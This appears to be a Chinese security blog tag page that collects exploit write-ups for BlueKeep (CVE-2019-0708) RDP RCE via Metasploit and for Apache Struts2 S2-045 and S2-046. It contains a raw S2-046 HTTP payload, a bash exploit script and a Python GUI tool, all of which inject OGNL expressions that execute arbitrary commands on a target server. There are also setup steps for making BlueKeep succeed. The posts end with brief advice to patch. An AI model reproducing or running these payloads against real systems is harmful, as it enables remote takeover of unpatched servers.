Tag:exp

Tag (exp)'s result:

CVE-2019-0708 RDP RCE漏洞重现(20190907-MSF-EXP)

0x00 概述 前情提要RDP RCE(CVE-2019-0708)集锦 20190907 msf更新cve-2019-0708的exp,瞬间一片震动,经测试,该exp在特定条件下可用。   0x01 影响范围 Target: 0 Automatic targeting via fingerprinting 1 Windows 7 SP1 / 2008 R2 (6.1.7601 x64) 2 Windows 7 SP1 / 2008 R2 (6.1.7601 x64 – Virtualbox) 3 Windows 7 SP1 / 2008 R2 (6.1.7601 x64 – VMWare) 4 Windows 7 SP1 / 2008 R2 (6.1.7601 x64 – Hyper-V)   0x02 漏洞重现 1.环境:msf5.0.46dev,vm12.5.7,nat,win7旗舰版x64sp1-7601(cn_windows_7_ultimate_with_sp1_x64_dvd_u_677408.iso)开启3389,reload_all 修改后的4个rb文件,target 2。 cve_2019_0708_bluekeep_rce.rb 添加 /usr/share/metasploit-framework/modules/exploits/windows/rdp/ rdp.rb 替换 /usr/share/metasploit-framework/lib/msf/core/exploit/rdp.rb rdp_scanner.rb 替换 /usr/share//metasploit-framework/modules/auxiliary/scanner/rdp/rdp_scanner.rb cve_2019_0708_bluekeep.rb 替换 /usr/share/metasploit-framework/modules/auxiliary/scanner/rdp/cve_2019_0708_bluekeep.rb 2. 环境 cn_windows_server_2008_r2_standard_enterprise_datacenter_and_web_with_sp1_x64_dvd_617598.iso 不改注册表   修改注册表 //HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Terminal Server\WinStations\rdpwd\fDisableCam为0 未发现该注册表键值,手动增加并设置0 还是蓝屏   注: 2008r2withsp1 english standard需要修改注册表[HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Terminal Server\WinStations\rdpwd\fDisableCam]值修改为0。 打一次要重启靶机一次否则可能会失败。 Windows 2008 r2据说很多都蓝屏…… 更新msf到最新。 调低核心数如2核心2g/1核1g……(多核竞争?) 关闭自动更新防止自动打补丁影响测试。   0x03 结语 目前这个exp如果要利用成功,限制过多,如操作系统版本号,平台,安全设备等诸多因素会影响,估计实战成功率不高,不过这已经是一个大飞跃,预计不久后会有更完善的exp出现。 蠕虫正步步紧逼……   0x04 参考资料 https://github.com/rapid7/metasploit-framework/pull/12283 https://blog.rapid7.com/2019/09/06/initial-metasploit-exploit-module-for-bluekeep-cve-2019-0708/

struts2-046 poc and exp

据说045补了之后046就没用了,感觉影响没045这么犀利了…… POC:(来源于:https://community.hpe.com/t5/Security-Research/Struts2-046-A-new-vector/ba-p/6949723# ) POST /doUpload.action HTTP/1.1 Host: localhost:8080 Content-Length: 10000000 Content-Type: multipart/form-data; boundary=—-WebKitFormBoundaryAnmUgTEhFhOZpr9z Connection: close ——WebKitFormBoundaryAnmUgTEhFhOZpr9z Content-Disposition: form-data; name=”upload”; filename=”%{#context[‘com.opensymphony.xwork2.dispatcher.HttpServletResponse’].addHeader(‘X-Test’,’Kaboom’)}” Content-Type: text/plain Kaboom ——WebKitFormBoundaryAnmUgTEhFhOZpr9z– EXP: exploit-db.sh:(来源于:https://github.com/jas502n/st2-046-poc) #!/bin/bash url=$1 cmd=$2 shift shift boundary=”—————————735323031399963166993862150″ content_type=”multipart/form-data; boundary=$boundary” payload=$(echo “%{(#nike=’multipart/form-data’).(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[‘com.opensymphony.xwork2.ActionContext.container’]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='”$cmd”‘).(#iswin=(@java.lang.System@getProperty(‘os.name’).toLowerCase().contains(‘win’))).(#cmds=(#iswin?{‘cmd.exe’,’/c’,#cmd}:{‘/bin/bash’,’-c’,#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}”) printf — “–$boundary\r\nContent-Disposition: form-data; name=\”foo\”; filename=\”%s\0b\”\r\nContent-Type: text/plain\r\n\r\nx\r\n–$boundary–\r\n\r\n” “$payload” | curl “$url” -H “Content-Type: $content_type” -H “Expect: ” -H “Connection: close” –data-binary @- $@ 3.友情检测: 此exp可以利用。 希望广大站长及时修补漏洞,避免不必要的损失。  

struts2 045 poc and exp

POC: 网上看的一个poc: import requests import sys def poc(url): payload = “%{(#test=’multipart/form-data’).(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[‘com.opensymphony.xwork2.ActionContext.container’]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(#ros.println(102*102*102*99)).(#ros.flush())}” headers = {} headers[“Content-Type”] = payload r = requests.get(url, headers=headers) if “105059592” in r.content: return True return False if __name__ == ‘__main__’: if len(sys.argv) == 1: print “python s2-045.py target” sys.exit() if poc(sys.argv[1]): print “vulnerable” else: print “not vulnerable” 102*102*102*99=105059592,看了一下这个poc,好像又明白了异常怎么抛出的了,因为poc里不是一开头就是Multipart,而是注入ognl语言。Payload里打印102*102*102*99的值,如果返回的页面有105059592则表明存在st2-045远程命令执行漏洞。 EXP: 网上流传的一个exp: #coding:utf-8 import urllib2 from Tkinter import * import sys from poster.encode import multipart_encode from poster.streaminghttp import register_openers class START(): def __init__(self,root): self.root=root self.show_W_Text = Text() self.show_url_ed = Label(root, text=”str2″) self.edit_url = Entry(root, text=”输入地址”) self.edit_cmd = Entry(root, text=”输入cmd”) self.butt_whois = Button(root, text=”检测”,command=self.poc) self.show_url_ed.pack() self.edit_url.pack() self.edit_cmd.pack() self.butt_whois.pack() self.show_W_Text.pack() def poc(self): w_url = self.edit_url.get() w_cmd = self.edit_cmd.get() text = self.show_W_Text register_openers() datagen, header = multipart_encode({“image1”: open(“tmp.txt”, “rb”)}) header[ “User-Agent”] = “Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36” header[ “Content-Type”] = “%{(#nike=’multipart/form-data’).(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[‘com.opensymphony.xwork2.ActionContext.container’]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='” + w_cmd + “‘).(#iswin=(@java.lang.System@getProperty(‘os.name’).toLowerCase().contains(‘win’))).(#cmds=(#iswin?{‘cmd.exe’,’/c’,#cmd}:{‘/bin/bash’,’-c’,#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}” request = urllib2.Request(w_url, datagen, headers=header) response = urllib2.urlopen(request).read() text.insert(1.0, response) if __name__ == ‘__main__’: root=Tk() root.title(“str2 045”) motion=START(root) mainloop() exp大概和poc一样。 友情检测: 希望各网站管理员及时修复,避免不必要的损失。